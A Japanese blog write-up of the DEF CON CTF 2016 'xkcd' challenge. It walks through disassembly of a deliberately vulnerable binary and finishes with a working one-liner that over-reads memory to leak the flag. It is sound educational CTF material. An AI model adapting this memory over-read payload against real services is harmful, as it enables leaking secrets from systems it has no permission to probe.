セキュリティ
DEF CON CTF 2016 xkcd解いてみた
Seiya Kobayashi
こんにちは、アルバイトの小林です。
今回は DEFCON CTF 2016 の xkcd という問題を解いて見ました。
問題ファイル
$ file xkcd
xkcd: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, not stripped
$ checksec xkcd
[*] '/home/ubuntu/ctfs/pwn-practice/xkcd/xkcd'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled // メモリ上の実行する必要のないデータを実行不可能に設定して、不正に実行されるのを防ぐ
PIE: No PIE (0x400000)
flagファイルがないと動きません
ubuntu@ubuntu-xenial ~/c/p/xkcd> ./xkcd
Could not open the flag.
適当に作って動かします(本番ではサーバにある)
ubuntu@ubuntu-xenial ~/c/p/xkcd echo 'flag{flag}' > flag
ubuntu@ubuntu-xenial ~/c/p/xkcd ./xkcd
A
MALFORMED REQUEST
解析
0000000000400faf
で 0x6b7540
にファイルをopen
main:
0000000000400f5e push rbp ; Begin of unwind block (FDE at 0x4a689c), DATA XREF=_start+29
0000000000400f5f mov rbp, rsp
0000000000400f62 push rbx
0000000000400f63 sub rsp, 0x38
0000000000400f67 mov dword [rbp+var_34], edi
0000000000400f6a mov qword [rbp+var_40], rsi
0000000000400f6e mov rax, qword [_IO_stdout] ; _IO_stdout
0000000000400f75 mov ecx, 0x0
0000000000400f7a mov edx, 0x2
0000000000400f7f mov esi, 0x0 ; argument #2 for method _IO_setvbuf
0000000000400f84 mov rdi, rax ; argument #1 for method _IO_setvbuf
0000000000400f87 call _IO_setvbuf ; _IO_setvbuf
0000000000400f8c mov rax, qword [_IO_stdin] ; _IO_stdin
0000000000400f93 mov ecx, 0x0
0000000000400f98 mov edx, 0x2
0000000000400f9d mov esi, 0x0 ; argument #2 for method _IO_setvbuf
0000000000400fa2 mov rdi, rax ; argument #1 for method _IO_setvbuf
0000000000400fa5 call _IO_setvbuf ; _IO_setvbuf
0000000000400faa mov esi, 0x100 ; argument "n" for method bzero
0000000000400faf mov edi, 0x6b7540 ; argument "s" for method bzero
0000000000400fb4 call bzero ; bzero
0000000000400fb9 mov esi, 0x487de4 ; argument #2 for method fopen64
0000000000400fbe mov edi, 0x487de6 ; argument #1 for method fopen64
0000000000400fc3 call fopen64 ; fopen64
0000000000400fc8 mov qword [rbp+var_18], rax
0000000000400fcc cmp qword [rbp+var_18], 0x0
0000000000400fd1 jne loc_400fe7
受け取った文字列を?で区切った前半を"SERVER, ARE YOU STILL THERE”と比較
000000000040101f mov qword [rbp+var_20], rax
0000000000401023 mov rax, qword [rbp+var_20]
0000000000401027 mov esi, 0x487e04 ; argument "sep" for method strtok
000000000040102c mov rdi, rax ; argument "str" for method strtok
000000000040102f mov eax, 0x0
0000000000401034 call strtok ; strtok
0000000000401039 cdqe
000000000040103b mov qword [rbp+var_28], rax
000000000040103f mov rax, qword [rbp+var_28]
0000000000401043 mov esi, aServerAreYouSt ; "SERVER, ARE YOU STILL THERE"
0000000000401048 mov rdi, rax
000000000040104b call sub_4002d0 ; sub_4002d0
0000000000401050 test eax, eax
0000000000401052 je loc_401068
?で区切った後半を”で区切った前半を“ IF SO, REPLY “と比較
loc_401068:
0000000000401068 mov esi, 0x487e34 ; argument "sep" for method strtok, CODE XREF=main+244
000000000040106d mov edi, 0x0 ; argument "str" for method strtok
0000000000401072 mov eax, 0x0
0000000000401077 call strtok ; strtok
000000000040107c cdqe
000000000040107e mov qword [rbp+var_28], rax
0000000000401082 mov rax, qword [rbp+var_28]
0000000000401086 mov esi, aIfSoReply ; " IF SO, REPLY "
000000000040108b mov rdi, rax
000000000040108e call sub_4002d0 ; sub_4002d0
0000000000401093 test eax, eax
0000000000401095 je loc_4010ab
区切った残りを”で区切って0x6b7340(フラグの512バイト前(0x6b7540-0x6b7340))
にコピー
00000000004010ab mov esi, 0x487e34 ; CODE XREF=main+311
00000000004010b0 mov edi, 0x0 ; argument for method strtok
00000000004010b5 mov eax, 0x0
00000000004010ba call strtok ; strtok " で区切る"
00000000004010bf cdqe
00000000004010c1 mov qword [rbp+var_28], rax
00000000004010c5 mov rax, qword [rbp+var_28]
00000000004010c9 mov rdi, rax ; argument "s" for method strlen
00000000004010cc call strlen ; strlen
00000000004010d1 mov rdx, rax ; argument "n" for method memcpy
00000000004010d4 mov rax, qword [rbp+var_28]
00000000004010d8 mov rsi, rax ; argument "src" for method memcpy
00000000004010db mov edi, 0x6b7340 ; argument "dst" for method memcpy
00000000004010e0 call memcpy ; memcpy
()内の数字を読み取り, flag先頭-512+読み取った数字のアドレスにnull文字設定して終端
00000000004010e5 mov esi, 0x487e45 ; argument "sep" for method strtok
00000000004010ea mov edi, 0x0 ; argument "str" for method strtok
00000000004010ef mov eax, 0x0
00000000004010f4 call strtok ; strtok ( で区切る
00000000004010f9 cdqe
00000000004010fb mov qword [rbp+var_28], rax
00000000004010ff mov esi, 0x487e47 ; argument "sep" for method strtok
0000000000401104 mov edi, 0x0 ; argument "str" for method strtok
0000000000401109 mov eax, 0x0
000000000040110e call strtok ; strtok ) で区切る
0000000000401113 cdqe
0000000000401115 mov qword [rbp+var_28], rax
0000000000401119 lea rdx, qword [rbp+var_2C]
000000000040111d mov rax, qword [rbp+var_28]
0000000000401121 mov esi, aDLetters ; "%d LETTERS"
0000000000401126 mov rdi, rax
0000000000401129 mov eax, 0x0
000000000040112e call __isoc99_sscanf ; __isoc99_sscanf
0000000000401133 mov eax, dword [rbp+var_2C]
0000000000401136 cdqe
0000000000401138 mov byte [rax+globals], 0x0
000000000040113f mov eax, dword [rbp+var_2C]
0000000000401142 movsxd rbx, eax
0000000000401145 mov edi, globals ; argument "s" for method strlen
000000000040114a call strlen ; strlen
000000000040114f cmp rbx, rax
0000000000401152 jbe loc_401168
512バイト分の文字列を送って、flagの先頭と繋げれば、flagまでが文字列と解釈されflagも表示される。
()内の数字はflagの長さに合わせます
$ python -c 'print "SERVER, ARE YOU STILL THERE? IF SO, REPLY \"" + "A" * 512 + "\" (523 LETTERS)"' | ./xkcd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag{flag}